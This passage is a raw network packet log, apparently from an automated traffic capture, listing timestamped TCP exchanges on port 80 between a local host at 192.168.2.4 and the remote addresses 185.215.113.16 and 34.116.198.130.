Nov 24, 2024 14:24:41.097956896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.098721027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.098768950 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.098797083 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.098848104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.099641085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.099699020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.099764109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.099817038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.100703001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.100749969 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.100806952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.101491928 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.101553917 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.101604939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.101732969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.102387905 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.102447987 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.102510929 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.102564096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.103322983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.103410959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.103440046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.103529930 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.104252100 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.104317904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.104343891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.104389906 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.105132103 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.105185986 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.105263948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.105313063 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.106061935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.106120110 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.106122971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.106157064 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.107016087 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.107065916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.107228041 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.107285976 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.108299971 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.108361959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.108508110 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.109076977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.109181881 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.109256983 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.109288931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.109349012 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.110033989 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.110115051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.110119104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.110389948 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.110667944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.110724926 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.110764980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.110822916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.111608028 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.111666918 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.111732006 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.111784935 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.112517118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.112569094 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.112627983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.112677097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.113542080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.113624096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.113634109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.113703966 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.114366055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.114428043 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.114483118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.114542961 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.114825964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.114903927 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.115010977 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.115305901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.115353107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.115410089 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.115467072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.116230011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.116301060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.116328001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.116389990 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.117113113 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.117160082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.117240906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.117341995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.118076086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.118139982 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.118196011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.118257046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.118964911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.119023085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.119100094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.119189024 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.119910955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.120021105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.120076895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.120812893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.120872974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.120940924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.120985031 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.121725082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.121840954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.121893883 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.122658968 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.122705936 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.122730017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.122780085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.123591900 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.123640060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.123723984 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.123785973 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.124499083 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.124561071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.176872015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.176985025 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.177032948 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.177906036 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.177974939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.178093910 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.179729939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.198992968 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.199033022 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.199100018 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.250595093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.261904955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.261924982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.262134075 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.262748003 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.262837887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.264597893 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.264684916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.285007000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.285036087 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.285214901 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.286518097 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.286591053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.286660910 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.286700964 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.286943913 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.286999941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.287142992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.287197113 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.287246943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.287307978 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.288081884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.288127899 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.288187027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.288235903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.289019108 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.289076090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.289128065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.289184093 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.289953947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.289989948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.289999008 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.290044069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.290941954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.290986061 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.291147947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.291192055 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.291910887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.291959047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.291992903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.292047977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.292704105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.292757988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.292813063 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.292857885 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.293653011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.293715000 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.293775082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.294548035 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.294589996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.294671059 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.294723034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.295491934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.295551062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.295582056 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.295627117 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.296371937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.296415091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.296493053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.296534061 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.297377110 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.297468901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.297532082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.298211098 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.298263073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.298341990 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.298383951 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.299160004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.299205065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.299259901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.299324989 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.300088882 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.300137997 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.300204039 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.300261974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.301251888 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.301271915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.301326990 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.301925898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.301995039 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.302073002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.302118063 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.303018093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.303080082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.303114891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.303170919 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.303766012 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.303822041 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.303874016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.303924084 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.304661989 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.304722071 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.304791927 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.304841995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.305572987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.305689096 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.305742025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.306499958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.306550026 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.306632042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.306802034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.306879997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.306967974 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.306993961 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.307827950 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.307955027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.308012962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.308346033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.308396101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.308449030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.308495045 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.309302092 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.309390068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.309453011 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.310188055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.310250044 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.310286045 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.310334921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.311126947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.311183929 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.311232090 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.311276913 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.312057018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.312127113 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.312153101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.312196016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.312928915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.312997103 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.313079119 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.313133955 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.313905954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.314040899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.314101934 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.314824104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.314924002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.314930916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.314979076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.315766096 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.315843105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.315850973 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.315897942 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.316654921 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.316720963 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.316751957 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.316875935 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.317603111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.317668915 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.317751884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.317795038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.318511009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.318566084 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.318634033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.318676949 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.319411039 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.319549084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.319591999 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.320331097 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.320375919 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.320430040 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.320476055 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.321269035 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.321352005 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.321402073 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.322191954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.322232008 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.322325945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.322365999 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.323127031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.323184967 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.323434114 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.323483944 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.324009895 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.324073076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.324115992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.324232101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.324928045 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.324990988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.325057030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.325894117 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.325951099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.325989008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.326039076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.326766014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.326821089 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.326884985 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.326941013 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.327702999 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.327831030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.327877045 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.328653097 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.328715086 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.328802109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.328849077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.329546928 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.329639912 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.329703093 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.330467939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.330526114 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.330581903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.330629110 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.331417084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.331478119 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.331490993 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.331537962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.332319021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.332367897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.332398891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.332434893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.333250999 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.333307981 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.333345890 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.333400965 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.334172964 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.334232092 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.334237099 CET	80	49838	185.215.113.16	192.168.2.4
